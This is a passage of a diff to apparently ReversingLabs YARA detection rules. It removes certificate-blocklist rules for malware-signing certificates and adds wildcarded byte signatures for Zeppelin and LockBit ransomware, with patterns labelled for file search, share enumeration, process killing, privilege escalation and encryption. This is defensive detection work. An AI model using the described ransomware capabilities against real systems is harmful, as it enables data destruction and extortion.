45 ?? 5F 5E 5A 59 5B + 8B E5 5D C2 + } + $enumerate_drives = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 8B D8 85 DB 74 ?? C1 EB ?? 8D B5 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 F8 + ?? 74 ?? 83 F8 ?? 75 ?? 56 E8 ?? ?? ?? ?? 8D 76 ?? 4B 85 DB 75 ?? 5F 5E 5A 59 5B 8B + E5 5D C3 55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 + ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? C7 + 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 + ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 A9 ?? ?? 74 ?? 6A ?? 8D 85 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 40 ?? 50 FF 15 ?? ?? ?? + ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 + ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C2 + } + $escalate_privileges = { + 55 8B EC 83 C4 ?? 53 51 52 56 57 8D 45 ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F + 85 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 + ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 50 + FF 75 ?? FF 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 ?? AD 8B F8 83 + 7E ?? ?? 74 ?? C7 46 ?? ?? ?? ?? ?? 83 C6 ?? 4F 85 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 75 + ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C3 + } + $enumerate_netshare = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 7D ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 6A ?? + 8D 45 ?? 50 6A ?? 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 ?? 83 7E ?? ?? 75 ?? 68 ?? + ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 C7 03 ?? ?? ?? ?? C7 43 ?? + ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 8D 47 ?? 50 53 FF 15 ?? ?? ?? + ?? 83 C4 ?? 53 FF 15 ?? ?? ?? ?? FF 36 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 53 E8 ?? ?? ?? + ?? 53 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C6 ?? FF 4D ?? 83 7D ?? ?? 75 ?? + FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C2 + } + $find_files_v2 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D BD + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ?? + 83 C4 ?? 66 83 7C 47 ?? ?? 74 ?? 66 C7 04 47 ?? ?? 83 C7 ?? C7 04 47 ?? ?? ?? ?? C7 + 44 47 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 A9 ?? ?? 74 ?? + 8D 9D ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 83 C4 + ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 83 C0 ?? 53 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 + E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? + FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C2 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SLOW COOKED VENTURES LTD" and pe.signatures [ i ] . serial == "4f:40:7e:b5:08:03:84:5c:c4:39:37:82:3e:13:44:c0" and 1556555362 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $find_files_v1 and $enumerate_drives and $escalate_privileges ) or ( $find_files_v2 and $enumerate_netshare ) ) } - -rule REVERSINGLABS_Cert_Blocklist_6922Bb5De88E4127E1Ac6969E6A199F5 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Zeppelin : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Zeppelin ransomware." author = "ReversingLabs" - id = "86e16068-8b0b-5f0f-af5e-5ee9f518a915" - date = "2020-08-05" - modified = "2023-11-08" + id = "f5cf514d-4dd0-58b7-82d0-5cb516a139a3" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3252-L3268" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Zeppelin.yara#L1-L109" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "39dbaa232ea9125934b3682d780e3821d12e771f2b844d027d99a432fe249d9f" + logic_hash = "8fb07e49d2ff9d497fb36a5d901748315ae519f5ef845d1a5ec6341d0eb1f68c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Zeppelin" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SMACHNA PLITKA, TOV" and pe.signatures [ i ] . serial == "69:22:bb:5d:e8:8e:41:27:e1:ac:69:69:e6:a1:99:f5" and 1552692162 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_73065Efa163B7901Fa1Ccb0A54E80540 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "949f55a9-7aa0-50de-bb81-fed5d27c3d24" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3270-L3286" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e420c37c04aa676c266a4c2c228063239815c173a83c39d426c5a674648f1934" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $search_files_p1 = { + 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? + ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 + 89 20 8D 45 ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8B 45 ?? E8 ?? + ?? ?? ?? 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 2B D8 43 53 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 42 + 8B 45 ?? 59 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 30 FF 75 ?? 68 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? 83 F8 + ?? 7C ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 + ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + C3 + } + $search_files_p2 = { + 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? + ?? 64 FF 30 64 89 20 F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 + ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 45 ?? 50 + 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 8D + ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? + 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? + ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5B 8B E5 5D C3 + } + $kill_processes = { + 55 8B EC 33 C9 51 51 51 51 51 51 51 51 53 56 57 84 D2 74 ?? 83 C4 ?? E8 ?? ?? ?? ?? + 88 55 ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 55 68 ?? ?? ?? ?? + 64 FF 32 64 89 22 8D 55 ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B D8 8B 45 ?? 89 58 ?? 8B C3 B2 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? + C6 40 ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 8B 00 8B F0 85 F6 + 7E ?? BB ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? 0F B6 54 1A ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8D + 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 58 E8 ?? ?? ?? ?? 75 ?? 8D 55 ?? 8B 45 + ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 40 ?? 8B 08 FF 51 ?? 8D 45 ?? E8 ?? ?? ?? ?? + EB ?? 8D 45 ?? 8B 55 ?? 0F B6 54 1A ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? + ?? 43 4E 75 ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B1 ?? 33 + D2 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? + 8B 45 ?? 80 7D ?? ?? 74 ?? E8 ?? ?? ?? ?? 64 8F 05 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 5F + 5E 5B 8B E5 5D C3 + } + $enum_shares = { + 55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 51 53 56 57 89 45 ?? 8B 45 ?? E8 ?? ?? + ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 + 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 4D ?? 33 + D2 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 89 45 ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B + 45 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 55 ?? B8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 52 ?? 48 85 + C0 0F 8C ?? ?? ?? ?? 40 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 8B 55 ?? 8B 45 ?? 8B + 18 FF 53 ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 33 C0 55 68 ?? ?? ?? ?? 64 + FF 30 64 89 20 FF 75 ?? 68 ?? ?? ?? ?? 8D 4D ?? 33 D2 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 + ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? + 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 + 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 75 ?? FF 45 ?? + FF 4D ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A + 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? + ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB + ?? 5F 5E 5B 8B E5 5D C3 + } + $encrypt_files = { + 55 8B EC 83 C4 ?? 53 56 33 DB 89 5D ?? 84 D2 74 ?? 83 C4 ?? E8 ?? ?? ?? ?? 8B D9 88 + 55 ?? 8B F0 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 8B C6 E8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 88 5E ?? 88 5E ?? 56 6A ?? 8D 46 ?? 50 B9 ?? ?? ?? ?? 33 D2 33 C0 E8 ?? + ?? ?? ?? 8B D8 89 5E ?? 85 DB 75 ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? + 89 45 ?? C6 45 ?? ?? 8D 45 ?? 50 6A ?? 8B 0D ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? + ?? C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SOVA CONSULTANCY LTD" and pe.signatures [ i ] . serial == "73:06:5e:fa:16:3b:79:01:fa:1c:cb:0a:54:e8:05:40" and 1548115200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $kill_processes ) and ( $enum_shares ) and ( all of ( $search_files_p* ) ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_4842Afad00904Ed8C98811E652Ccb3B7 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Lockbit : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects LockBit ransomware." author = "ReversingLabs" - id = "f09723aa-85a6-5d96-a71e-94f0e0a0f23c" - date = "2020-08-05" - modified = "2023-11-08" + id = "9a6405dc-da1f-5426-a424-a73bceb1928c" + date = "2020-06-26" + modified = "2022-03-31" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3288-L3304" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.LockBit.yara#L1-L282" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2b5c7c13369c7b89f1ea5474de3644a12bf6412cb3fa8ade5b66de280fb10cbf" + logic_hash = "030222bd659c7e0e03858fa062067b1483aca3b7973cce19a1e7cdbb48d4405c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "LockBit" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\"VERY EXCLUSIVE LTD\"" and pe.signatures [ i ] . serial == "48:42:af:ad:00:90:4e:d8:c9:88:11:e6:52:cc:b3:b7" and 1545177600 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_5A59A686B4A904D0Fca07153Ea6Db6Cc : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "018e511f-191d-5fd4-8ab0-0e5bbff44d58" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3306-L3322" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7597b2ba870ec58ac0786a97fb92956406fe019c81f6176cc1a581988d3a9632" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $enum_resources_v1 = { + 55 8B EC 83 EC ?? 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 51 6A ?? 6A ?? 6A ?? C7 45 ?? + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? + ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 53 56 FF 75 ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 + C4 ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + 33 DB 39 5D ?? 76 ?? 8B F7 0F 1F 80 ?? ?? ?? ?? F7 46 ?? ?? ?? ?? ?? 74 ?? 8B CE E8 + ?? ?? ?? ?? 83 7F ?? ?? 74 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 83 C4 ?? 8B 45 + ?? FF 70 ?? FF 15 ?? ?? ?? ?? 8D 04 45 ?? ?? ?? ?? 50 8B 45 ?? FF 70 ?? 57 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 45 ?? 50 6A ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B + 0D ?? ?? ?? ?? 89 04 8D ?? ?? ?? ?? F0 FF 05 ?? ?? ?? ?? 8B 7D ?? 43 83 C6 ?? 3B 5D + ?? 72 ?? E9 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5E 5B 85 C0 + 75 ?? B8 ?? ?? ?? ?? 5F 8B E5 5D C3 33 C0 5F 8B E5 5D C3 + } + $find_files_v1_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 8B C1 C7 45 ?? ?? ?? ?? ?? 57 50 89 45 ?? 33 C9 8D + 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 66 89 4D ?? 50 FF 15 ?? ?? ?? ?? 83 + C4 ?? 8D 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? + ?? ?? 8B F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 33 C0 8B 35 ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D + 45 ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 45 ?? 50 FF D3 85 C0 + 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 85 + C0 0F 84 + } + $find_files_v1_2 = { + 45 ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? E9 ?? ?? ?? ?? 33 C9 66 39 8D ?? ?? ?? ?? 74 ?? 8D 40 ?? 41 66 83 38 ?? 75 ?? + 83 F9 ?? 0F 8E ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 56 68 ?? ?? + ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? + 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 + } + $find_files_v1_3 = { + 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? + ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? + 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 + ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 33 C9 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? + ?? ?? 66 90 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 33 C0 C6 45 ?? ?? 66 89 45 ?? 8D + 45 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 + C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 + ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 + 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? + ?? ?? 8B 4D ?? 8D 95 ?? ?? ?? ?? 2B D1 0F B7 01 8D 49 ?? 66 89 44 11 ?? 66 85 C0 75 + ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B F2 66 8B 02 83 C2 ?? + 66 85 C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 83 C7 ?? 0F 1F 40 ?? 66 8B 47 ?? 83 C7 ?? 66 + 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 A8 ?? 75 ?? + A8 ?? 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF D6 + 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 57 FF 15 ?? ?? ?? ?? 5F + 5E 5B 8B E5 5D C3 + } + $encrypt_files_v1_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 53 56 57 8B F9 C7 45 ?? ?? ?? + ?? ?? 89 7D ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 + 89 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 + } + $encrypt_files_v1_2 = { + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 33 DB 89 7D ?? 33 F6 0F 1F 00 8B 84 + B5 ?? ?? ?? ?? 85 C0 74 ?? 57 50 FF 15 ?? ?? ?? ?? 85 C0 B8 ?? ?? ?? ?? 0F 44 D8 46 + 81 FE ?? ?? ?? ?? 7C ?? 8B 7D ?? 33 C0 66 89 85 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 57 50 8D 85 ?? ?? ?? ?? 89 5D ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 